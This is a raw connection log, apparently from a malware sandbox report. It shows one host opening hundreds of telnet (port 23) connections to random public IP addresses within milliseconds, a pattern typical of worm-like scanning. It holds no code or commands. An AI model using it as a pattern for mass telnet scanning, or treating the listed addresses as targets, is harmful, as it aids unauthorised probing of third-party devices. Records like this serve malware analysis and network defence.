Oct 14, 2024 17:30:08.929119110 CEST	12058	23	192.168.2.14	81.46.28.235
Oct 14, 2024 17:30:08.929135084 CEST	12058	23	192.168.2.14	148.240.127.207
Oct 14, 2024 17:30:08.929135084 CEST	12058	23	192.168.2.14	206.141.151.9
Oct 14, 2024 17:30:08.929150105 CEST	12058	23	192.168.2.14	216.143.180.100
Oct 14, 2024 17:30:08.929162979 CEST	12058	23	192.168.2.14	150.214.135.254
Oct 14, 2024 17:30:08.929164886 CEST	12058	23	192.168.2.14	155.43.230.210
Oct 14, 2024 17:30:08.929183960 CEST	12058	23	192.168.2.14	195.66.212.191
Oct 14, 2024 17:30:08.929193974 CEST	12058	23	192.168.2.14	17.144.39.150
Oct 14, 2024 17:30:08.929202080 CEST	12058	23	192.168.2.14	74.149.93.244
Oct 14, 2024 17:30:08.929204941 CEST	12058	23	192.168.2.14	184.226.88.43
Oct 14, 2024 17:30:08.929204941 CEST	12058	23	192.168.2.14	115.112.19.129
Oct 14, 2024 17:30:08.929219007 CEST	12058	23	192.168.2.14	14.165.191.208
Oct 14, 2024 17:30:08.929224014 CEST	12058	23	192.168.2.14	97.119.105.21
Oct 14, 2024 17:30:08.929234028 CEST	12058	23	192.168.2.14	187.118.164.92
Oct 14, 2024 17:30:08.929238081 CEST	12058	23	192.168.2.14	188.204.179.61
Oct 14, 2024 17:30:08.929250956 CEST	12058	23	192.168.2.14	193.141.145.194
Oct 14, 2024 17:30:08.929264069 CEST	12058	23	192.168.2.14	200.112.45.249
Oct 14, 2024 17:30:08.929272890 CEST	12058	23	192.168.2.14	8.171.12.243
Oct 14, 2024 17:30:08.929281950 CEST	12058	23	192.168.2.14	35.106.251.255
Oct 14, 2024 17:30:08.929291010 CEST	12058	23	192.168.2.14	94.75.224.58
Oct 14, 2024 17:30:08.929300070 CEST	12058	23	192.168.2.14	195.89.53.100
Oct 14, 2024 17:30:08.929317951 CEST	12058	23	192.168.2.14	111.178.121.181
Oct 14, 2024 17:30:08.929321051 CEST	12058	23	192.168.2.14	68.77.39.231
Oct 14, 2024 17:30:08.929322004 CEST	12058	23	192.168.2.14	81.108.3.157
Oct 14, 2024 17:30:08.929332972 CEST	12058	23	192.168.2.14	188.34.119.162
Oct 14, 2024 17:30:08.929342031 CEST	12058	23	192.168.2.14	58.24.250.254
Oct 14, 2024 17:30:08.929349899 CEST	12058	23	192.168.2.14	89.91.143.75
Oct 14, 2024 17:30:08.929363966 CEST	12058	23	192.168.2.14	165.216.209.65
Oct 14, 2024 17:30:08.929371119 CEST	12058	23	192.168.2.14	110.113.198.143
Oct 14, 2024 17:30:08.929382086 CEST	12058	23	192.168.2.14	57.48.247.177
Oct 14, 2024 17:30:08.929389954 CEST	12058	23	192.168.2.14	142.23.55.21
Oct 14, 2024 17:30:08.929390907 CEST	12058	23	192.168.2.14	32.175.107.48
Oct 14, 2024 17:30:08.929403067 CEST	12058	23	192.168.2.14	142.210.35.70
Oct 14, 2024 17:30:08.929416895 CEST	12058	23	192.168.2.14	18.0.202.186
Oct 14, 2024 17:30:08.929419994 CEST	12058	23	192.168.2.14	118.57.226.42
Oct 14, 2024 17:30:08.929440975 CEST	12058	23	192.168.2.14	79.107.58.144
Oct 14, 2024 17:30:08.929444075 CEST	12058	23	192.168.2.14	49.47.46.176
Oct 14, 2024 17:30:08.929451942 CEST	12058	23	192.168.2.14	83.46.79.149
Oct 14, 2024 17:30:08.929462910 CEST	12058	23	192.168.2.14	90.190.197.248
Oct 14, 2024 17:30:08.929471970 CEST	12058	23	192.168.2.14	153.7.70.84
Oct 14, 2024 17:30:08.929481030 CEST	12058	23	192.168.2.14	194.254.128.244
Oct 14, 2024 17:30:08.929492950 CEST	12058	23	192.168.2.14	188.146.107.174
Oct 14, 2024 17:30:08.929510117 CEST	12058	23	192.168.2.14	189.103.72.254
Oct 14, 2024 17:30:08.929514885 CEST	12058	23	192.168.2.14	181.121.167.111
Oct 14, 2024 17:30:08.929532051 CEST	12058	23	192.168.2.14	90.13.49.176
Oct 14, 2024 17:30:08.929543018 CEST	12058	23	192.168.2.14	45.165.80.38
Oct 14, 2024 17:30:08.929543018 CEST	12058	23	192.168.2.14	98.58.190.220
Oct 14, 2024 17:30:08.929557085 CEST	12058	23	192.168.2.14	116.209.95.116
Oct 14, 2024 17:30:08.929557085 CEST	12058	23	192.168.2.14	162.200.250.16
Oct 14, 2024 17:30:08.929574013 CEST	12058	23	192.168.2.14	162.109.148.165
Oct 14, 2024 17:30:08.929588079 CEST	12058	23	192.168.2.14	81.97.75.191
Oct 14, 2024 17:30:08.929588079 CEST	12058	23	192.168.2.14	109.169.31.229
Oct 14, 2024 17:30:08.929598093 CEST	12058	23	192.168.2.14	75.189.103.78
Oct 14, 2024 17:30:08.929613113 CEST	12058	23	192.168.2.14	144.66.157.61
Oct 14, 2024 17:30:08.929634094 CEST	12058	23	192.168.2.14	164.133.72.236
Oct 14, 2024 17:30:08.929637909 CEST	12058	23	192.168.2.14	65.148.59.52
Oct 14, 2024 17:30:08.929649115 CEST	12058	23	192.168.2.14	175.14.159.180
Oct 14, 2024 17:30:08.929661989 CEST	12058	23	192.168.2.14	128.87.93.145
Oct 14, 2024 17:30:08.929675102 CEST	12058	23	192.168.2.14	198.12.74.87
Oct 14, 2024 17:30:08.929685116 CEST	12058	23	192.168.2.14	143.227.12.55
Oct 14, 2024 17:30:08.929688931 CEST	12058	23	192.168.2.14	117.8.47.79
Oct 14, 2024 17:30:08.929697990 CEST	12058	23	192.168.2.14	118.224.225.225
Oct 14, 2024 17:30:08.929713964 CEST	12058	23	192.168.2.14	89.192.90.190
Oct 14, 2024 17:30:08.929713964 CEST	12058	23	192.168.2.14	186.227.167.234
Oct 14, 2024 17:30:08.929728031 CEST	12058	23	192.168.2.14	23.50.250.3
Oct 14, 2024 17:30:08.929744959 CEST	12058	23	192.168.2.14	65.138.232.136
Oct 14, 2024 17:30:08.929749012 CEST	12058	23	192.168.2.14	101.73.219.98
Oct 14, 2024 17:30:08.929768085 CEST	12058	23	192.168.2.14	162.113.12.203
Oct 14, 2024 17:30:08.929770947 CEST	12058	23	192.168.2.14	158.2.246.11
Oct 14, 2024 17:30:08.929796934 CEST	12058	23	192.168.2.14	219.56.50.42
Oct 14, 2024 17:30:08.929799080 CEST	12058	23	192.168.2.14	200.202.191.231
Oct 14, 2024 17:30:08.929801941 CEST	12058	23	192.168.2.14	147.248.159.115
Oct 14, 2024 17:30:08.929804087 CEST	12058	23	192.168.2.14	184.232.106.0
Oct 14, 2024 17:30:08.929816961 CEST	12058	23	192.168.2.14	170.68.9.176
Oct 14, 2024 17:30:08.929828882 CEST	12058	23	192.168.2.14	106.208.19.42
Oct 14, 2024 17:30:08.929845095 CEST	12058	23	192.168.2.14	67.149.39.189
Oct 14, 2024 17:30:08.929848909 CEST	12058	23	192.168.2.14	40.92.188.136
Oct 14, 2024 17:30:08.929860115 CEST	12058	23	192.168.2.14	123.126.168.87
Oct 14, 2024 17:30:08.929883003 CEST	12058	23	192.168.2.14	75.225.1.182
Oct 14, 2024 17:30:08.929888964 CEST	12058	23	192.168.2.14	19.143.250.143
Oct 14, 2024 17:30:08.929902077 CEST	12058	23	192.168.2.14	119.5.241.175
Oct 14, 2024 17:30:08.929908037 CEST	12058	23	192.168.2.14	158.241.41.6
Oct 14, 2024 17:30:08.929915905 CEST	12058	23	192.168.2.14	125.108.139.86
Oct 14, 2024 17:30:08.929918051 CEST	12058	23	192.168.2.14	67.21.48.193
Oct 14, 2024 17:30:08.929927111 CEST	12058	23	192.168.2.14	221.246.78.13
Oct 14, 2024 17:30:08.929946899 CEST	12058	23	192.168.2.14	122.46.34.33
Oct 14, 2024 17:30:08.929951906 CEST	12058	23	192.168.2.14	40.22.123.170
Oct 14, 2024 17:30:08.929956913 CEST	12058	23	192.168.2.14	119.2.82.197
Oct 14, 2024 17:30:08.929966927 CEST	12058	23	192.168.2.14	17.29.6.133
Oct 14, 2024 17:30:08.929995060 CEST	12058	23	192.168.2.14	109.38.32.159
Oct 14, 2024 17:30:08.929996014 CEST	12058	23	192.168.2.14	151.151.126.78
Oct 14, 2024 17:30:08.929995060 CEST	12058	23	192.168.2.14	70.64.58.41
Oct 14, 2024 17:30:08.930013895 CEST	12058	23	192.168.2.14	144.172.131.221
Oct 14, 2024 17:30:08.930017948 CEST	12058	23	192.168.2.14	122.18.16.251
Oct 14, 2024 17:30:08.930038929 CEST	12058	23	192.168.2.14	8.46.179.102
Oct 14, 2024 17:30:08.930039883 CEST	12058	23	192.168.2.14	58.46.173.144
Oct 14, 2024 17:30:08.930053949 CEST	12058	23	192.168.2.14	98.1.206.185
Oct 14, 2024 17:30:08.930054903 CEST	12058	23	192.168.2.14	165.102.69.90
Oct 14, 2024 17:30:08.930071115 CEST	12058	23	192.168.2.14	135.47.119.105
Oct 14, 2024 17:30:08.930073977 CEST	12058	23	192.168.2.14	111.207.161.200
Oct 14, 2024 17:30:08.930090904 CEST	12058	23	192.168.2.14	192.231.65.169
Oct 14, 2024 17:30:08.930090904 CEST	12058	23	192.168.2.14	65.160.64.6
Oct 14, 2024 17:30:08.930100918 CEST	12058	23	192.168.2.14	59.248.14.14
Oct 14, 2024 17:30:08.930119991 CEST	12058	23	192.168.2.14	223.163.153.43
Oct 14, 2024 17:30:08.930147886 CEST	12058	23	192.168.2.14	203.225.16.171
Oct 14, 2024 17:30:08.930162907 CEST	12058	23	192.168.2.14	136.215.247.217
Oct 14, 2024 17:30:08.930167913 CEST	12058	23	192.168.2.14	99.187.123.175
Oct 14, 2024 17:30:08.930172920 CEST	12058	23	192.168.2.14	143.15.163.12
Oct 14, 2024 17:30:08.930191994 CEST	12058	23	192.168.2.14	92.118.225.100
Oct 14, 2024 17:30:08.930200100 CEST	12058	23	192.168.2.14	135.243.144.181
Oct 14, 2024 17:30:08.930206060 CEST	12058	23	192.168.2.14	14.73.48.28
Oct 14, 2024 17:30:08.930217981 CEST	12058	23	192.168.2.14	143.218.134.112
Oct 14, 2024 17:30:08.930228949 CEST	12058	23	192.168.2.14	154.96.248.69
Oct 14, 2024 17:30:08.930248022 CEST	12058	23	192.168.2.14	123.90.124.204
Oct 14, 2024 17:30:08.930250883 CEST	12058	23	192.168.2.14	137.145.228.96
Oct 14, 2024 17:30:08.930265903 CEST	12058	23	192.168.2.14	150.17.179.213
Oct 14, 2024 17:30:08.930279016 CEST	12058	23	192.168.2.14	71.54.213.242
Oct 14, 2024 17:30:08.930288076 CEST	12058	23	192.168.2.14	19.183.195.211
Oct 14, 2024 17:30:08.930300951 CEST	12058	23	192.168.2.14	111.191.93.105
Oct 14, 2024 17:30:08.930301905 CEST	12058	23	192.168.2.14	69.179.213.2
Oct 14, 2024 17:30:08.930320024 CEST	12058	23	192.168.2.14	206.195.250.212
Oct 14, 2024 17:30:08.930322886 CEST	12058	23	192.168.2.14	208.209.93.67
Oct 14, 2024 17:30:08.930322886 CEST	12058	23	192.168.2.14	73.246.33.155
Oct 14, 2024 17:30:08.930331945 CEST	12058	23	192.168.2.14	48.202.201.234
Oct 14, 2024 17:30:08.930355072 CEST	12058	23	192.168.2.14	133.71.98.211
Oct 14, 2024 17:30:08.930355072 CEST	12058	23	192.168.2.14	126.232.209.180
Oct 14, 2024 17:30:08.930361032 CEST	12058	23	192.168.2.14	58.20.24.239
Oct 14, 2024 17:30:08.930380106 CEST	12058	23	192.168.2.14	172.187.16.87
Oct 14, 2024 17:30:08.930385113 CEST	12058	23	192.168.2.14	128.99.22.111
Oct 14, 2024 17:30:08.930399895 CEST	12058	23	192.168.2.14	193.238.247.24
Oct 14, 2024 17:30:08.930418968 CEST	12058	23	192.168.2.14	82.198.176.193
Oct 14, 2024 17:30:08.930421114 CEST	12058	23	192.168.2.14	36.218.82.132
Oct 14, 2024 17:30:08.930433035 CEST	12058	23	192.168.2.14	158.175.50.85
Oct 14, 2024 17:30:08.930437088 CEST	12058	23	192.168.2.14	77.139.39.204
Oct 14, 2024 17:30:08.930454969 CEST	12058	23	192.168.2.14	159.129.249.17
Oct 14, 2024 17:30:08.930458069 CEST	12058	23	192.168.2.14	195.121.126.120
Oct 14, 2024 17:30:08.930461884 CEST	12058	23	192.168.2.14	163.43.115.84
Oct 14, 2024 17:30:08.930471897 CEST	12058	23	192.168.2.14	134.234.176.205
Oct 14, 2024 17:30:08.930483103 CEST	12058	23	192.168.2.14	68.2.140.152
Oct 14, 2024 17:30:08.930491924 CEST	12058	23	192.168.2.14	135.123.93.88
Oct 14, 2024 17:30:08.930500031 CEST	12058	23	192.168.2.14	168.106.149.5
Oct 14, 2024 17:30:08.930517912 CEST	12058	23	192.168.2.14	8.149.244.213
Oct 14, 2024 17:30:08.930525064 CEST	12058	23	192.168.2.14	218.211.65.93
Oct 14, 2024 17:30:08.930541039 CEST	12058	23	192.168.2.14	51.77.158.46
Oct 14, 2024 17:30:08.930541039 CEST	12058	23	192.168.2.14	80.234.217.132
Oct 14, 2024 17:30:08.930552959 CEST	12058	23	192.168.2.14	53.189.42.80
Oct 14, 2024 17:30:08.930566072 CEST	12058	23	192.168.2.14	108.115.150.243
Oct 14, 2024 17:30:08.930574894 CEST	12058	23	192.168.2.14	179.202.227.111
Oct 14, 2024 17:30:08.930587053 CEST	12058	23	192.168.2.14	4.114.20.147
Oct 14, 2024 17:30:08.930596113 CEST	12058	23	192.168.2.14	65.125.194.68
Oct 14, 2024 17:30:08.930600882 CEST	12058	23	192.168.2.14	132.60.138.109
Oct 14, 2024 17:30:08.930613995 CEST	12058	23	192.168.2.14	184.151.199.18
Oct 14, 2024 17:30:08.930619001 CEST	12058	23	192.168.2.14	95.171.173.16
Oct 14, 2024 17:30:08.930630922 CEST	12058	23	192.168.2.14	177.229.114.165
Oct 14, 2024 17:30:08.930639029 CEST	12058	23	192.168.2.14	77.80.219.108
Oct 14, 2024 17:30:08.930650949 CEST	12058	23	192.168.2.14	20.18.28.22
Oct 14, 2024 17:30:08.930666924 CEST	12058	23	192.168.2.14	107.44.143.62
Oct 14, 2024 17:30:08.930670977 CEST	12058	23	192.168.2.14	32.64.11.101
Oct 14, 2024 17:30:08.930687904 CEST	12058	23	192.168.2.14	160.133.170.168
Oct 14, 2024 17:30:08.930692911 CEST	12058	23	192.168.2.14	5.246.145.143
Oct 14, 2024 17:30:08.930706978 CEST	12058	23	192.168.2.14	123.19.14.148
Oct 14, 2024 17:30:08.930706978 CEST	12058	23	192.168.2.14	95.43.77.1
Oct 14, 2024 17:30:08.930730104 CEST	12058	23	192.168.2.14	41.102.107.37
Oct 14, 2024 17:30:08.930748940 CEST	12058	23	192.168.2.14	101.251.186.42
Oct 14, 2024 17:30:08.930763960 CEST	12058	23	192.168.2.14	41.98.145.68
Oct 14, 2024 17:30:08.930767059 CEST	12058	23	192.168.2.14	25.239.178.64
Oct 14, 2024 17:30:08.930772066 CEST	12058	23	192.168.2.14	67.182.40.181
Oct 14, 2024 17:30:08.930779934 CEST	12058	23	192.168.2.14	81.20.222.64
Oct 14, 2024 17:30:08.930794001 CEST	12058	23	192.168.2.14	35.148.68.213
Oct 14, 2024 17:30:08.930807114 CEST	12058	23	192.168.2.14	40.169.159.237
Oct 14, 2024 17:30:08.930813074 CEST	12058	23	192.168.2.14	27.59.214.76
Oct 14, 2024 17:30:08.930826902 CEST	12058	23	192.168.2.14	95.103.150.155
Oct 14, 2024 17:30:08.930840015 CEST	12058	23	192.168.2.14	102.80.32.201
Oct 14, 2024 17:30:08.930844069 CEST	12058	23	192.168.2.14	153.148.178.232
Oct 14, 2024 17:30:08.930855989 CEST	12058	23	192.168.2.14	52.210.120.138
Oct 14, 2024 17:30:08.930866957 CEST	12058	23	192.168.2.14	94.29.171.131
Oct 14, 2024 17:30:08.930881023 CEST	12058	23	192.168.2.14	178.223.23.14
Oct 14, 2024 17:30:08.930898905 CEST	12058	23	192.168.2.14	156.191.250.32
Oct 14, 2024 17:30:08.930906057 CEST	12058	23	192.168.2.14	159.139.167.64
Oct 14, 2024 17:30:08.930923939 CEST	12058	23	192.168.2.14	116.219.173.78
Oct 14, 2024 17:30:08.930928946 CEST	12058	23	192.168.2.14	17.246.77.43
Oct 14, 2024 17:30:08.930938005 CEST	12058	23	192.168.2.14	64.119.164.68
Oct 14, 2024 17:30:08.930952072 CEST	12058	23	192.168.2.14	83.112.192.243
Oct 14, 2024 17:30:08.930954933 CEST	12058	23	192.168.2.14	110.178.109.134
Oct 14, 2024 17:30:08.930958986 CEST	12058	23	192.168.2.14	42.117.97.236
Oct 14, 2024 17:30:08.930962086 CEST	12058	23	192.168.2.14	48.110.55.62
Oct 14, 2024 17:30:08.930967093 CEST	12058	23	192.168.2.14	106.214.53.124
Oct 14, 2024 17:30:08.930969000 CEST	12058	23	192.168.2.14	104.221.51.228
Oct 14, 2024 17:30:08.930974007 CEST	12058	23	192.168.2.14	112.83.224.18
Oct 14, 2024 17:30:08.930979967 CEST	12058	23	192.168.2.14	111.15.156.138
Oct 14, 2024 17:30:08.930994987 CEST	12058	23	192.168.2.14	12.88.125.248
Oct 14, 2024 17:30:08.931006908 CEST	12058	23	192.168.2.14	102.238.104.144
Oct 14, 2024 17:30:08.931010008 CEST	12058	23	192.168.2.14	158.158.227.221
Oct 14, 2024 17:30:08.931010008 CEST	12058	23	192.168.2.14	82.220.18.219
Oct 14, 2024 17:30:08.931026936 CEST	12058	23	192.168.2.14	5.244.53.181
Oct 14, 2024 17:30:08.931026936 CEST	12058	23	192.168.2.14	102.218.105.4
Oct 14, 2024 17:30:08.931035042 CEST	12058	23	192.168.2.14	198.57.210.117
Oct 14, 2024 17:30:08.931056023 CEST	12058	23	192.168.2.14	9.221.165.185
Oct 14, 2024 17:30:08.931061983 CEST	12058	23	192.168.2.14	64.28.215.154
Oct 14, 2024 17:30:08.931072950 CEST	12058	23	192.168.2.14	146.251.46.196
Oct 14, 2024 17:30:08.931088924 CEST	12058	23	192.168.2.14	17.153.34.224
Oct 14, 2024 17:30:08.931092024 CEST	12058	23	192.168.2.14	120.8.46.161
Oct 14, 2024 17:30:08.931097031 CEST	12058	23	192.168.2.14	96.123.42.58
Oct 14, 2024 17:30:08.931106091 CEST	12058	23	192.168.2.14	60.209.9.133
Oct 14, 2024 17:30:08.931123018 CEST	12058	23	192.168.2.14	122.6.2.134
Oct 14, 2024 17:30:08.931130886 CEST	12058	23	192.168.2.14	52.67.243.178
Oct 14, 2024 17:30:08.931133032 CEST	12058	23	192.168.2.14	110.180.121.31
Oct 14, 2024 17:30:08.931143045 CEST	12058	23	192.168.2.14	190.37.231.242
Oct 14, 2024 17:30:08.931145906 CEST	12058	23	192.168.2.14	45.156.50.58
Oct 14, 2024 17:30:08.931159019 CEST	12058	23	192.168.2.14	183.34.251.211
Oct 14, 2024 17:30:08.931166887 CEST	12058	23	192.168.2.14	112.174.26.36
Oct 14, 2024 17:30:08.931186914 CEST	12058	23	192.168.2.14	128.233.59.231
Oct 14, 2024 17:30:08.931205034 CEST	12058	23	192.168.2.14	73.168.181.160
Oct 14, 2024 17:30:08.931205034 CEST	12058	23	192.168.2.14	63.219.52.137
Oct 14, 2024 17:30:08.931206942 CEST	12058	23	192.168.2.14	170.214.127.209
Oct 14, 2024 17:30:08.931220055 CEST	12058	23	192.168.2.14	91.130.171.60
Oct 14, 2024 17:30:08.931221962 CEST	12058	23	192.168.2.14	140.227.117.12
Oct 14, 2024 17:30:08.931233883 CEST	12058	23	192.168.2.14	9.97.19.122
Oct 14, 2024 17:30:08.931251049 CEST	12058	23	192.168.2.14	34.106.177.127
Oct 14, 2024 17:30:08.931255102 CEST	12058	23	192.168.2.14	139.152.197.208
Oct 14, 2024 17:30:08.931260109 CEST	12058	23	192.168.2.14	32.188.224.232
Oct 14, 2024 17:30:08.931262970 CEST	12058	23	192.168.2.14	49.3.206.217
Oct 14, 2024 17:30:08.931274891 CEST	12058	23	192.168.2.14	174.250.183.169
Oct 14, 2024 17:30:08.931292057 CEST	12058	23	192.168.2.14	138.37.228.119
Oct 14, 2024 17:30:08.931293964 CEST	12058	23	192.168.2.14	211.34.114.44
Oct 14, 2024 17:30:08.931294918 CEST	12058	23	192.168.2.14	71.127.40.255
Oct 14, 2024 17:30:08.931299925 CEST	12058	23	192.168.2.14	126.62.151.157
Oct 14, 2024 17:30:08.931318045 CEST	12058	23	192.168.2.14	74.249.9.85
Oct 14, 2024 17:30:08.931318998 CEST	12058	23	192.168.2.14	107.7.16.246
Oct 14, 2024 17:30:08.931335926 CEST	12058	23	192.168.2.14	110.147.161.133
Oct 14, 2024 17:30:08.931348085 CEST	12058	23	192.168.2.14	19.251.52.252
Oct 14, 2024 17:30:08.931355000 CEST	12058	23	192.168.2.14	44.90.30.117
Oct 14, 2024 17:30:08.931374073 CEST	12058	23	192.168.2.14	220.87.131.179
Oct 14, 2024 17:30:08.931391001 CEST	12058	23	192.168.2.14	171.57.232.120
Oct 14, 2024 17:30:08.931401968 CEST	12058	23	192.168.2.14	53.54.43.159
Oct 14, 2024 17:30:08.931406975 CEST	12058	23	192.168.2.14	144.94.84.148
Oct 14, 2024 17:30:08.931425095 CEST	12058	23	192.168.2.14	102.30.226.112
Oct 14, 2024 17:30:08.931430101 CEST	12058	23	192.168.2.14	116.143.25.191
Oct 14, 2024 17:30:08.931438923 CEST	12058	23	192.168.2.14	70.63.53.207
Oct 14, 2024 17:30:08.931461096 CEST	12058	23	192.168.2.14	156.215.43.90
Oct 14, 2024 17:30:08.931466103 CEST	12058	23	192.168.2.14	39.153.29.224
Oct 14, 2024 17:30:08.931466103 CEST	12058	23	192.168.2.14	97.91.93.74
Oct 14, 2024 17:30:08.931483984 CEST	12058	23	192.168.2.14	12.132.112.81
Oct 14, 2024 17:30:08.931492090 CEST	12058	23	192.168.2.14	36.8.88.71
Oct 14, 2024 17:30:08.931508064 CEST	12058	23	192.168.2.14	184.81.234.7
Oct 14, 2024 17:30:08.931519985 CEST	12058	23	192.168.2.14	143.171.26.200
Oct 14, 2024 17:30:08.931529999 CEST	12058	23	192.168.2.14	113.218.102.91
Oct 14, 2024 17:30:08.931541920 CEST	12058	23	192.168.2.14	2.250.237.34
Oct 14, 2024 17:30:08.931566000 CEST	12058	23	192.168.2.14	100.203.193.233
Oct 14, 2024 17:30:08.931570053 CEST	12058	23	192.168.2.14	23.90.2.8
Oct 14, 2024 17:30:08.931576014 CEST	12058	23	192.168.2.14	110.190.140.105
Oct 14, 2024 17:30:08.931593895 CEST	12058	23	192.168.2.14	189.244.32.50
Oct 14, 2024 17:30:08.931607962 CEST	12058	23	192.168.2.14	70.209.58.71
Oct 14, 2024 17:30:08.931618929 CEST	12058	23	192.168.2.14	41.88.97.178
Oct 14, 2024 17:30:08.931623936 CEST	12058	23	192.168.2.14	193.223.173.135
Oct 14, 2024 17:30:08.931629896 CEST	12058	23	192.168.2.14	190.174.125.68
Oct 14, 2024 17:30:08.931639910 CEST	12058	23	192.168.2.14	116.133.225.213
Oct 14, 2024 17:30:08.931644917 CEST	12058	23	192.168.2.14	161.231.12.121
Oct 14, 2024 17:30:08.931655884 CEST	12058	23	192.168.2.14	69.214.93.52
Oct 14, 2024 17:30:08.931668997 CEST	12058	23	192.168.2.14	107.86.207.11
Oct 14, 2024 17:30:08.931675911 CEST	12058	23	192.168.2.14	163.139.185.225
Oct 14, 2024 17:30:08.931689978 CEST	12058	23	192.168.2.14	62.223.195.192
Oct 14, 2024 17:30:08.931693077 CEST	12058	23	192.168.2.14	208.105.198.238
Oct 14, 2024 17:30:08.931704998 CEST	12058	23	192.168.2.14	146.218.243.244
Oct 14, 2024 17:30:08.931720972 CEST	12058	23	192.168.2.14	84.153.38.146
Oct 14, 2024 17:30:08.931729078 CEST	12058	23	192.168.2.14	23.188.219.26
Oct 14, 2024 17:30:08.931730986 CEST	12058	23	192.168.2.14	137.215.255.27
Oct 14, 2024 17:30:08.931746960 CEST	12058	23	192.168.2.14	166.182.82.235
Oct 14, 2024 17:30:08.931752920 CEST	12058	23	192.168.2.14	159.152.212.62
Oct 14, 2024 17:30:08.931768894 CEST	12058	23	192.168.2.14	1.177.218.24
Oct 14, 2024 17:30:08.931768894 CEST	12058	23	192.168.2.14	70.34.148.203
Oct 14, 2024 17:30:08.931776047 CEST	12058	23	192.168.2.14	152.246.215.126
Oct 14, 2024 17:30:08.931780100 CEST	12058	23	192.168.2.14	177.36.66.183
Oct 14, 2024 17:30:08.931796074 CEST	12058	23	192.168.2.14	105.62.1.133
Oct 14, 2024 17:30:08.931808949 CEST	12058	23	192.168.2.14	4.63.156.139
Oct 14, 2024 17:30:08.931818008 CEST	12058	23	192.168.2.14	79.242.4.88
Oct 14, 2024 17:30:08.931833029 CEST	12058	23	192.168.2.14	197.32.24.240
Oct 14, 2024 17:30:08.931853056 CEST	12058	23	192.168.2.14	94.93.191.145
Oct 14, 2024 17:30:08.931855917 CEST	12058	23	192.168.2.14	168.180.234.136
Oct 14, 2024 17:30:08.931866884 CEST	12058	23	192.168.2.14	2.189.62.132
Oct 14, 2024 17:30:08.931874990 CEST	12058	23	192.168.2.14	90.109.185.133
Oct 14, 2024 17:30:08.931885958 CEST	12058	23	192.168.2.14	189.228.154.59
Oct 14, 2024 17:30:08.931898117 CEST	12058	23	192.168.2.14	75.114.248.12
Oct 14, 2024 17:30:08.931916952 CEST	12058	23	192.168.2.14	122.132.195.211
Oct 14, 2024 17:30:08.931916952 CEST	12058	23	192.168.2.14	211.102.65.85
Oct 14, 2024 17:30:08.931925058 CEST	12058	23	192.168.2.14	218.38.49.159
Oct 14, 2024 17:30:08.931941986 CEST	12058	23	192.168.2.14	205.4.222.101
Oct 14, 2024 17:30:08.931946039 CEST	12058	23	192.168.2.14	221.50.68.94
Oct 14, 2024 17:30:08.931946993 CEST	12058	23	192.168.2.14	112.192.143.30
Oct 14, 2024 17:30:08.931972027 CEST	12058	23	192.168.2.14	213.194.59.5
Oct 14, 2024 17:30:08.931972980 CEST	12058	23	192.168.2.14	1.49.138.240
Oct 14, 2024 17:30:08.931978941 CEST	12058	23	192.168.2.14	102.19.230.200
Oct 14, 2024 17:30:08.931988001 CEST	12058	23	192.168.2.14	155.49.230.244
Oct 14, 2024 17:30:08.931998968 CEST	12058	23	192.168.2.14	41.165.115.151
Oct 14, 2024 17:30:08.932002068 CEST	12058	23	192.168.2.14	53.195.1.160
Oct 14, 2024 17:30:08.932019949 CEST	12058	23	192.168.2.14	45.254.175.189
Oct 14, 2024 17:30:08.932030916 CEST	12058	23	192.168.2.14	166.154.199.4
Oct 14, 2024 17:30:08.932033062 CEST	12058	23	192.168.2.14	77.179.17.139
Oct 14, 2024 17:30:08.932041883 CEST	12058	23	192.168.2.14	13.215.138.150
Oct 14, 2024 17:30:08.932060957 CEST	12058	23	192.168.2.14	81.210.62.178
Oct 14, 2024 17:30:08.932060957 CEST	12058	23	192.168.2.14	95.238.23.223
Oct 14, 2024 17:30:08.932075024 CEST	12058	23	192.168.2.14	159.11.23.135
Oct 14, 2024 17:30:08.932080030 CEST	12058	23	192.168.2.14	94.229.123.103
Oct 14, 2024 17:30:08.932092905 CEST	12058	23	192.168.2.14	180.235.202.219
Oct 14, 2024 17:30:08.932105064 CEST	12058	23	192.168.2.14	135.58.4.23
Oct 14, 2024 17:30:08.932113886 CEST	12058	23	192.168.2.14	218.23.205.141
Oct 14, 2024 17:30:08.932137966 CEST	12058	23	192.168.2.14	196.56.98.200
Oct 14, 2024 17:30:08.932147026 CEST	12058	23	192.168.2.14	69.49.97.125
Oct 14, 2024 17:30:08.932147026 CEST	12058	23	192.168.2.14	94.241.207.45
Oct 14, 2024 17:30:08.932166100 CEST	12058	23	192.168.2.14	219.173.108.154
Oct 14, 2024 17:30:08.932169914 CEST	12058	23	192.168.2.14	209.118.142.159
Oct 14, 2024 17:30:08.932180882 CEST	12058	23	192.168.2.14	136.59.81.82
Oct 14, 2024 17:30:08.932185888 CEST	12058	23	192.168.2.14	178.203.221.7
Oct 14, 2024 17:30:08.932198048 CEST	12058	23	192.168.2.14	174.167.148.36
Oct 14, 2024 17:30:08.932213068 CEST	12058	23	192.168.2.14	46.22.208.110
Oct 14, 2024 17:30:08.932228088 CEST	12058	23	192.168.2.14	57.167.52.165
Oct 14, 2024 17:30:08.932228088 CEST	12058	23	192.168.2.14	63.164.162.2
Oct 14, 2024 17:30:08.932241917 CEST	12058	23	192.168.2.14	190.203.174.103
Oct 14, 2024 17:30:08.932260036 CEST	12058	23	192.168.2.14	187.209.198.241
Oct 14, 2024 17:30:08.932271004 CEST	12058	23	192.168.2.14	39.43.104.64
Oct 14, 2024 17:30:08.932284117 CEST	12058	23	192.168.2.14	205.212.237.43
Oct 14, 2024 17:30:08.932300091 CEST	12058	23	192.168.2.14	195.65.29.44
Oct 14, 2024 17:30:08.932301044 CEST	12058	23	192.168.2.14	73.135.205.137
Oct 14, 2024 17:30:08.932315111 CEST	12058	23	192.168.2.14	188.44.65.9
Oct 14, 2024 17:30:08.932320118 CEST	12058	23	192.168.2.14	24.233.10.59
Oct 14, 2024 17:30:08.932337999 CEST	12058	23	192.168.2.14	121.219.122.79
Oct 14, 2024 17:30:08.932341099 CEST	12058	23	192.168.2.14	116.161.182.22
Oct 14, 2024 17:30:08.932351112 CEST	12058	23	192.168.2.14	2.87.123.157
Oct 14, 2024 17:30:08.932359934 CEST	12058	23	192.168.2.14	146.227.122.184
Oct 14, 2024 17:30:08.932372093 CEST	12058	23	192.168.2.14	188.237.137.228
Oct 14, 2024 17:30:08.932377100 CEST	12058	23	192.168.2.14	135.49.16.122
Oct 14, 2024 17:30:08.932389975 CEST	12058	23	192.168.2.14	152.53.156.143
Oct 14, 2024 17:30:08.932399035 CEST	12058	23	192.168.2.14	147.26.100.13
